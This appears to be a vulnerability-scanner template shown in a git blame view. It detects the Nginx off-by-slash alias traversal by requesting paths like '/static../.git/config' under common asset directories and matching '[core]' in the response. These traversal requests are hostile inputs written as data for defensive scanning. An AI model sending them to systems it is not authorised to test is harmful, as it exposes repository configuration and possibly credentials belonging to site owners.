2020-07-02 13:53:41 +00:00
|
|
|
id: git-config-nginxoffbyslash
|
|
|
|
info:
|
2020-08-25 19:43:43 +00:00
|
|
|
name: Nginx off-by-slash exposes Git config
|
2020-07-02 13:53:41 +00:00
|
|
|
author: organiccrap
|
|
|
|
severity: medium
|
2020-08-25 19:43:43 +00:00
|
|
|
description: Nginx off-by-slash vulnerability exposes Git configuration.
|
2021-04-06 06:46:11 +00:00
|
|
|
tags: config,exposure
|
2021-08-18 11:37:49 +00:00
|
|
|
reference:
|
2021-05-10 06:47:28 +00:00
|
|
|
- https://twitter.com/Random_Robbie/status/1262676628167110656
|
|
|
|
- https://github.com/PortSwigger/nginx-alias-traversal/blob/master/off-by-slash.py
|
2020-09-20 12:57:43 +00:00
|
|
|
|
2020-07-02 13:53:41 +00:00
|
|
|
requests:
|
|
|
|
- method: GET
|
|
|
|
path:
|
|
|
|
- '{{BaseURL}}/static../.git/config'
|
|
|
|
- '{{BaseURL}}/js../.git/config'
|
|
|
|
- '{{BaseURL}}/images../.git/config'
|
|
|
|
- '{{BaseURL}}/img../.git/config'
|
|
|
|
- '{{BaseURL}}/css../.git/config'
|
|
|
|
- '{{BaseURL}}/assets../.git/config'
|
|
|
|
- '{{BaseURL}}/content../.git/config'
|
|
|
|
- '{{BaseURL}}/events../.git/config'
|
|
|
|
- '{{BaseURL}}/media../.git/config'
|
|
|
|
- '{{BaseURL}}/lib../.git/config'
|
2021-09-02 11:59:10 +00:00
|
|
|
|
|
|
|
stop-at-first-match: true
|
2020-07-02 13:53:41 +00:00
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
words:
|
|
|
|
- '[core]'
|